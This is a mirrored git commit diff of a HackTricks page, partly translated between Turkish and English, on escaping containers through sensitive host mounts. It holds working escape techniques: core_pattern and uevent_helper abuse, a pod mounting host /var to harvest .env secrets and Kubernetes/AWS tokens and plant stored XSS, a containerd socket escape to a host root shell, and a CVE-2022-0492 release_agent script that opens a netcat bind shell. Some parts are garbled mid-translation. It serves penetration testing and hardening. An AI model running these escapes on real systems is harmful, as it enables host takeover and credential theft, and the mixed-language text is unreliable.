mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/docker-security/do
This commit is contained in:
parent
6ad104537e
commit
d4bad5cae6
@ -14,9 +14,9 @@ Bu dizin, genellikle `sysctl(2)` aracılığıyla çekirdek değişkenlerini de
|
||||
|
||||
#### **`/proc/sys/kernel/core_pattern`**
|
||||
|
||||
- [core(5)](https://man7.org/linux/man-pages/man5/core.5.html) içinde tanımlanmıştır.
|
||||
- Bu dosyaya yazabiliyorsanız, bir boru `|` yazıp ardından bir program veya scriptin yolunu yazmak mümkündür; bu, bir çökme gerçekleştiğinde çalıştırılacaktır.
|
||||
- Bir saldırgan, `mount` komutunu çalıştırarak konteynerinin içindeki ana makinedeki yolu bulabilir ve bu yolu konteyner dosya sistemindeki bir ikili dosyaya yazabilir. Ardından, bir programı çökertip çekirdeğin ikili dosyayı konteynerin dışındaki bir yerde çalıştırmasını sağlayabilir.
|
||||
- [core(5)](https://man7.org/linux/man-pages/man5/core.5.html) belgesinde tanımlanmıştır.
|
||||
- Bu dosyaya yazabiliyorsanız, bir boru `|` yazıp ardından bir program veya betiğin yolunu ekleyerek, bir çökme gerçekleştiğinde çalıştırılacak bir komut oluşturabilirsiniz.
|
||||
- Bir saldırgan, `mount` komutunu çalıştırarak konteynerinin içindeki ana makinedeki yolu bulabilir ve bu yolu konteyner dosya sistemindeki bir ikili dosyaya yazabilir. Ardından, bir programı çökertip çekirdeğin konteyner dışındaki ikili dosyayı çalıştırmasını sağlayabilir.
|
||||
|
||||
- **Test ve Sömürü Örneği**:
|
||||
```bash
|
||||
@ -27,7 +27,7 @@ sleep 5 && ./crash & # Trigger handler
|
||||
```
|
||||
Daha fazla bilgi için [bu gönderiyi](https://pwning.systems/posts/escaping-containers-for-fun/) kontrol edin.
|
||||
|
||||
Çöken örnek program:
|
||||
Çökmesine neden olan örnek program:
|
||||
```c
|
||||
int main(void) {
|
||||
char buf[1];
|
||||
@ -70,7 +70,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe erişimini kontrol et
|
||||
#### **`/proc/config.gz`**
|
||||
|
||||
- `CONFIG_IKCONFIG_PROC` etkinse kernel yapılandırmasını açığa çıkarabilir.
|
||||
- Saldırganlar için çalışan kernel'deki zayıflıkları tanımlamakta faydalıdır.
|
||||
- Saldırganların çalışan kernel'deki zayıflıkları tanımlaması için faydalıdır.
|
||||
|
||||
#### **`/proc/sysrq-trigger`**
|
||||
|
||||
@ -83,13 +83,13 @@ echo b > /proc/sysrq-trigger # Ana makineyi yeniden başlatır
|
||||
|
||||
#### **`/proc/kmsg`**
|
||||
|
||||
- Kernel halka tampon mesajlarını açığa çıkarır.
|
||||
- Kernel ring buffer mesajlarını açığa çıkarır.
|
||||
- Kernel istismarlarına, adres sızıntılarına yardımcı olabilir ve hassas sistem bilgileri sağlayabilir.
|
||||
|
||||
#### **`/proc/kallsyms`**
|
||||
|
||||
- Kernel tarafından dışa aktarılan sembolleri ve adreslerini listeler.
|
||||
- Kernel istismar geliştirme için önemlidir, özellikle KASLR'yi aşmak için.
|
||||
- Kernel istismar geliştirme için esastır, özellikle KASLR'yi aşmak için.
|
||||
- Adres bilgileri `kptr_restrict` `1` veya `2` olarak ayarlandığında kısıtlanır.
|
||||
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) içinde detaylar.
|
||||
|
||||
@ -101,9 +101,9 @@ echo b > /proc/sysrq-trigger # Ana makineyi yeniden başlatır
|
||||
|
||||
#### **`/proc/kcore`**
|
||||
|
||||
- Sisteminin fiziksel belleğini ELF çekirdek formatında temsil eder.
|
||||
- Sisteminin fiziksel belleğini ELF core formatında temsil eder.
|
||||
- Okuma, ana makine ve diğer konteynerlerin bellek içeriklerini sızdırabilir.
|
||||
- Büyük dosya boyutu okuma sorunlarına veya yazılım çökmesine neden olabilir.
|
||||
- Büyük dosya boyutu okuma sorunlarına veya yazılım çökmesine yol açabilir.
|
||||
- Detaylı kullanım için [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/) bağlantısına bakın.
|
||||
|
||||
#### **`/proc/kmem`**
|
||||
@ -124,7 +124,7 @@ echo b > /proc/sysrq-trigger # Ana makineyi yeniden başlatır
|
||||
#### **`/proc/[pid]/mountinfo`**
|
||||
|
||||
- Sürecin mount ad alanındaki mount noktaları hakkında bilgi sağlar.
|
||||
- Konteynerin `rootfs` veya görüntüsünün konumunu açığa çıkarır.
|
||||
- Konteyner `rootfs` veya imajının konumunu açığa çıkarır.
|
||||
|
||||
### `/sys` Zayıflıkları
|
||||
|
||||
@ -132,82 +132,88 @@ echo b > /proc/sysrq-trigger # Ana makineyi yeniden başlatır
|
||||
|
||||
- Kernel cihaz `uevents`'lerini işlemek için kullanılır.
|
||||
- `/sys/kernel/uevent_helper`'a yazmak, `uevent` tetikleyicileri üzerine rastgele betikler çalıştırabilir.
|
||||
- **İstismar Örneği**: %%%bash
|
||||
- **İstismar için Örnek**:
|
||||
```bash
|
||||
|
||||
#### Bir yük oluşturur
|
||||
#### Creates a payload
|
||||
|
||||
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
|
||||
|
||||
#### Konteyner için OverlayFS mount'tan ana makine yolunu bulur
|
||||
#### Finds host path from OverlayFS mount for container
|
||||
|
||||
host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)
|
||||
|
||||
#### uevent_helper'ı kötü niyetli yardımcıya ayarlar
|
||||
#### Sets uevent_helper to malicious helper
|
||||
|
||||
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
|
||||
|
||||
#### Bir uevent tetikler
|
||||
#### Triggers a uevent
|
||||
|
||||
echo change > /sys/class/mem/null/uevent
|
||||
|
||||
#### Çıktıyı okur
|
||||
#### Reads the output
|
||||
|
||||
cat /output %%%
|
||||
cat /output
|
||||
```
|
||||
|
||||
#### **`/sys/class/thermal`**
|
||||
|
||||
- Sıcaklık ayarlarını kontrol eder, bu da DoS saldırılarına veya fiziksel hasara neden olabilir.
|
||||
- Controls temperature settings, potentially causing DoS attacks or physical damage.
|
||||
|
||||
#### **`/sys/kernel/vmcoreinfo`**
|
||||
|
||||
- Kernel adreslerini sızdırır, bu da KASLR'yi tehlikeye atabilir.
|
||||
- Leaks kernel addresses, potentially compromising KASLR.
|
||||
|
||||
#### **`/sys/kernel/security`**
|
||||
|
||||
- Linux Güvenlik Modüllerinin (AppArmor gibi) yapılandırılmasına izin veren `securityfs` arayüzünü barındırır.
|
||||
- Erişim, bir konteynerin MAC sistemini devre dışı bırakmasına olanak tanıyabilir.
|
||||
- Houses `securityfs` interface, allowing configuration of Linux Security Modules like AppArmor.
|
||||
- Access might enable a container to disable its MAC system.
|
||||
|
||||
#### **`/sys/firmware/efi/vars` ve `/sys/firmware/efi/efivars`**
|
||||
#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`**
|
||||
|
||||
- NVRAM'daki EFI değişkenleri ile etkileşim kurmak için arayüzler açığa çıkarır.
|
||||
- Yanlış yapılandırma veya istismar, bozuk dizüstü bilgisayarlara veya başlatılamayan ana makinelerle sonuçlanabilir.
|
||||
- Exposes interfaces for interacting with EFI variables in NVRAM.
|
||||
- Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines.
|
||||
|
||||
#### **`/sys/kernel/debug`**
|
||||
|
||||
- `debugfs`, kernel için "kuralsız" bir hata ayıklama arayüzü sunar.
|
||||
- Kısıtlamasız doğası nedeniyle güvenlik sorunları geçmişi vardır.
|
||||
- `debugfs` offers a "no rules" debugging interface to the kernel.
|
||||
- History of security issues due to its unrestricted nature.
|
||||
|
||||
### `/var` Zayıflıkları
|
||||
### `/var` Vulnerabilities
|
||||
|
||||
Ana makinenin **/var** klasörü, konteyner çalışma soketlerini ve konteynerlerin dosya sistemlerini içerir.
|
||||
Bu klasör bir konteyner içinde montelenirse, o konteyner diğer konteynerlerin dosya sistemlerine root ayrıcalıkları ile okuma-yazma erişimi alır.
|
||||
Bu, konteynerler arasında geçiş yapmak, hizmet reddi oluşturmak veya içinde çalışan diğer konteynerler ve uygulamalar için arka kapı açmak için kötüye kullanılabilir.
|
||||
The host's **/var** folder contains container runtime sockets and the containers' filesystems.
|
||||
If this folder is mounted inside a container, that container will get read-write access to other containers' file systems
|
||||
with root privileges. This can be abused to pivot between containers, to cause a denial of service, or to backdoor other
|
||||
containers and applications that run in them.
|
||||
|
||||
#### Kubernetes
|
||||
|
||||
Eğer böyle bir konteyner Kubernetes ile dağıtılırsa:
|
||||
If a container like this is deployed with Kubernetes:
|
||||
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: pod-mounts-var
|
||||
labels:
|
||||
app: pentest
|
||||
spec:
|
||||
containers:
|
||||
- name: pod-mounts-var-folder
|
||||
image: alpine
|
||||
volumeMounts:
|
||||
- mountPath: /host-var
|
||||
name: noderoot
|
||||
command: [ "/bin/sh", "-c", "--" ]
|
||||
args: [ "while true; do sleep 30; done;" ]
|
||||
volumes:
|
||||
- name: noderoot
|
||||
hostPath:
|
||||
path: /var
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: pod-mounts-var
|
||||
labels:
|
||||
app: pentest
|
||||
spec:
|
||||
containers:
|
||||
- name: pod-mounts-var-folder
|
||||
image: alpine
|
||||
volumeMounts:
|
||||
- mountPath: /host-var
|
||||
name: noderoot
|
||||
command: [ "/bin/sh", "-c", "--" ]
|
||||
args: [ "while true; do sleep 30; done;" ]
|
||||
volumes:
|
||||
- name: noderoot
|
||||
hostPath:
|
||||
path: /var
|
||||
```
|
||||
**pod-mounts-var-folder** konteynerinin içinde:
|
||||
|
||||
Inside the **pod-mounts-var-folder** container:
|
||||
|
||||
```bash
|
||||
/ # find /host-var/ -type f -iname '*.env*' 2>/dev/null
|
||||
|
||||
@ -225,20 +231,22 @@ REFRESH_TOKEN_SECRET=14<SNIP>ea
|
||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
|
||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html
|
||||
|
||||
/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
|
||||
are/nginx/html/index2.html
|
||||
/ # echo '<!DOCTYPE html><html lang="tr"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index2.html
|
||||
```
|
||||
XSS şu şekilde gerçekleştirildi:
|
||||
|
||||

|
||||
The XSS was achieved:
|
||||
|
||||
Konteynerin yeniden başlatılmasına veya başka bir şeye ihtiyaç duymadığını unutmayın. Mounted **/var** klasörü aracılığıyla yapılan herhangi bir değişiklik anında uygulanacaktır.
|
||||

|
||||
|
||||
Ayrıca, otomatik (veya yarı otomatik) RCE elde etmek için yapılandırma dosyalarını, ikili dosyaları, hizmetleri, uygulama dosyalarını ve shell profillerini değiştirebilirsiniz.
|
||||
Note that the container DOES NOT require a restart or anything. Any changes made via the mounted **/var** folder will be applied instantly.
|
||||
|
||||
##### Bulut kimlik bilgilerine erişim
|
||||
You can also replace configuration files, binaries, services, application files, and shell profiles to achieve automatic (or semi-automatic) RCE.
|
||||
|
||||
##### Access to cloud credentials
|
||||
|
||||
The container can read K8s serviceaccount tokens or AWS webidentity tokens
|
||||
which allows the container to gain unauthorized access to K8s or cloud:
|
||||
|
||||
Konteyner, K8s serviceaccount token'larını veya AWS webidentity token'larını okuyabilir, bu da konteynerin K8s veya buluta yetkisiz erişim elde etmesine olanak tanır.
|
||||
```bash
|
||||
/ # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
|
||||
/host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
|
||||
@ -247,30 +255,100 @@ Konteyner, K8s serviceaccount token'larını veya AWS webidentity token'larını
|
||||
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/aws-iam-token/..2025_01_22_03_45_56.2328221474/token
|
||||
/host-var/lib/kubelet/pods/5fb6bd26-a6aa-40cc-abf7-ecbf18dde1f6/volumes/kubernetes.io~projected/kube-api-access-fm2t6/..2025_01_22_12_25_25.3018586444/token
|
||||
```
|
||||
|
||||
#### Docker
|
||||
|
||||
Docker'da (veya Docker Compose dağıtımlarında) istismar tam olarak aynıdır, tek fark genellikle diğer konteynerlerin dosya sistemlerinin farklı bir temel yol altında mevcut olmasıdır:
|
||||
The exploitation in Docker (or in Docker Compose deployments) is exactly the same, except that usually
|
||||
the other containers' filesystems are available under a different base path:
|
||||
|
||||
```bash
|
||||
$ docker info | grep -i 'docker root\|storage driver'
|
||||
Storage Driver: overlay2
|
||||
Docker Root Dir: /var/lib/docker
|
||||
Depolama Sürücüsü: overlay2
|
||||
Docker Kök Dizin: /var/lib/docker
|
||||
```
|
||||
Dosya sistemleri `/var/lib/docker/overlay2/` altında bulunmaktadır:
|
||||
|
||||
So the filesystems are under `/var/lib/docker/overlay2/`:
|
||||
|
||||
```bash
|
||||
$ sudo ls -la /var/lib/docker/overlay2
|
||||
|
||||
drwx--x--- 4 root root 4096 Jan 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
|
||||
drwx--x--- 4 root root 4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
|
||||
drwx--x--- 4 root root 4096 Jan 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
|
||||
drwx--x--- 4 root root 4096 Jan 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
|
||||
drwx--x--- 4 root root 4096 9 Oca 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
|
||||
drwx--x--- 4 root root 4096 11 Oca 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
|
||||
drwx--x--- 4 root root 4096 9 Oca 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
|
||||
drwx--x--- 4 root root 4096 9 Oca 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
|
||||
<SNIP>
|
||||
```
|
||||
#### Not
|
||||
|
||||
Gerçek yollar farklı kurulumlarda değişebilir, bu yüzden en iyi seçeneğiniz diğer konteynerlerin dosya sistemlerini ve SA / web kimlik belirteçlerini bulmak için **find** komutunu kullanmaktır.
|
||||
#### Note
|
||||
|
||||
### Referanslar
|
||||
The actual paths may differ in different setups, which is why your best bet is to use the **find** command to
|
||||
locate the other containers' filesystems and SA / web identity tokens
|
||||
|
||||
|
||||
|
||||
### Other Sensitive Host Sockets and Directories (2023-2025)
|
||||
|
||||
Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent to giving the container full root on the node. **Treat the following paths as highly sensitive and never expose them to untrusted workloads**:
|
||||
|
||||
```text
|
||||
/var/run/containerd/containerd.sock # containerd CRI soketi
|
||||
/var/run/crio/crio.sock # CRI-O çalışma zamanı soketi
|
||||
/run/podman/podman.sock # Podman API (rootful veya rootless)
|
||||
/var/run/kubelet.sock # Kubernetes düğümlerinde Kubelet API
|
||||
/run/firecracker-containerd.sock # Kata / Firecracker
|
||||
```
|
||||
|
||||
Attack example abusing a mounted **containerd** socket:
|
||||
|
||||
```bash
|
||||
# konteynerin içinde (socket /host/run/containerd.sock altında monte edilmiştir)
|
||||
ctr --address /host/run/containerd.sock images pull docker.io/library/busybox:latest
|
||||
ctr --address /host/run/containerd.sock run --tty --privileged --mount \
|
||||
type=bind,src=/,dst=/host,options=rbind:rw docker.io/library/busybox:latest host /bin/sh
|
||||
chroot /host /bin/bash # ana makinede tam root shell
|
||||
```
|
||||
|
||||
A similar technique works with **crictl**, **podman** or the **kubelet** API once their respective sockets are exposed.
|
||||
|
||||
Writable **cgroup v1** mounts are also dangerous. If `/sys/fs/cgroup` is bind-mounted **rw** and the host kernel is vulnerable to **CVE-2022-0492**, an attacker can set a malicious `release_agent` and execute arbitrary code in the *initial* namespace:
|
||||
|
||||
```bash
|
||||
# konteynerin CAP_SYS_ADMIN'e ve savunmasız bir çekirdeğe sahip olduğunu varsayıyoruz
|
||||
mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release
|
||||
|
||||
echo '/tmp/pwn' > /sys/fs/cgroup/release_agent # CVE-2022-0492 gerektirir
|
||||
|
||||
echo -e '#!/bin/sh\nnc -lp 4444 -e /bin/sh' > /tmp/pwn && chmod +x /tmp/pwn
|
||||
sh -c "echo 0 > /tmp/x/cgroup.procs" # boş-cgroup olayını tetikler
|
||||
```
|
||||
|
||||
When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host**. Patched kernels (>5.8 with commit `32a0db39f30d`) validate the writer’s capabilities and block this abuse.
|
||||
|
||||
### Mount-Related Escape CVEs (2023-2025)
|
||||
|
||||
* **CVE-2024-21626 – runc “Leaky Vessels” file-descriptor leak**
|
||||
runc ≤1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or `docker exec` could start a container whose *working directory* is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker ≥25.0.3, containerd ≥1.7.14).
|
||||
|
||||
```Dockerfile
|
||||
FROM scratch
|
||||
WORKDIR /proc/self/fd/4 # 4 == "/" on the host leaked by the runtime
|
||||
CMD ["/bin/sh"]
|
||||
```
|
||||
|
||||
* **CVE-2024-23651 / 23653 – BuildKit OverlayFS copy-up TOCTOU**
|
||||
A race condition in the BuildKit snapshotter let an attacker replace a file that was about to be *copy-up* into the container’s rootfs with a symlink to an arbitrary path on the host, gaining write access outside the build context. Fixed in BuildKit v0.12.5 / Buildx 0.12.0. Exploitation requires an untrusted `docker build` on a vulnerable daemon.
|
||||
|
||||
### Hardening Reminders (2025)
|
||||
|
||||
1. Bind-mount host paths **read-only** whenever possible and add `nosuid,nodev,noexec` mount options.
|
||||
2. Prefer dedicated side-car proxies or rootless clients instead of exposing the runtime socket directly.
|
||||
3. Keep the container runtime up-to-date (runc ≥1.1.12, BuildKit ≥0.12.5, containerd ≥1.7.14).
|
||||
4. In Kubernetes, use `securityContext.readOnlyRootFilesystem: true`, the *restricted* PodSecurity profile and avoid `hostPath` volumes pointing to the paths listed above.
|
||||
|
||||
### References
|
||||
|
||||
- [runc CVE-2024-21626 advisory](https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv)
|
||||
- [Unit 42 analysis of CVE-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)
|
||||
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
|
||||
- [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
|
||||
- [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)
|
||||
|
Loading…
x
Reference in New Issue
Block a user